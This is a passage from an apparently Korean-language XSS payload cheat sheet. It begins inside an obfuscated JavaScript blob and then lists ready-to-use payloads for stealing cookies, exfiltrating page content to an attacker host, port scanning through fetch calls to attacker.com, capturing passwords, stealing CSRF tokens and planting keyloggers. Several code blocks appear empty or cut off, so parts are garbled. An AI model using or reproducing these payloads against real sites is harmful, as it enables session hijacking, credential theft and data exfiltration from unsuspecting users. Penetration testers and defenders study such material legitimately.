(゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS 일반적인 페이로드 ### 여러 페이로드가 포함된 1개 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### 쿠키 가져오기 ```javascript /?c="+document.cookie> ``` {% hint style="info" %} 만약 쿠키에 HTTPOnly 플래그가 설정되어 있다면 JavaScript에서 쿠키에 접근할 수 없습니다. 그러나 당신이 충분히 운이 좋다면 [이 보호를 우회하는 몇 가지 방법](../hacking-with-cookies/#httponly)이 있습니다. {% endhint %} ### 페이지 콘텐츠 도용 ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### 내부 IP 찾기 ```html ``` ### 포트 스캐너 (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### 포트 스캐너 (웹소켓) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### 자동으로 입력된 비밀번호 캡처 ```javascript Username:
Password:
``` ### 키클로거 Github에서 몇 가지 다른 것을 찾았습니다: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) - Metasploit의 `http_javascript_keylogger`도 사용할 수 있습니다. ### CSRF 토큰 도용 ```javascript ``` ### PostMessage 메시지 도용하기 ```markup ``` ### 서비스 워커 남용 {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Shadow DOM 접근 {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) {% endcontent-ref %} ### Polyglots {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Blind XSS payloads 당신은 또한 다음을 사용할 수 있습니다: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >
Click Me For An Awesome Time "> ">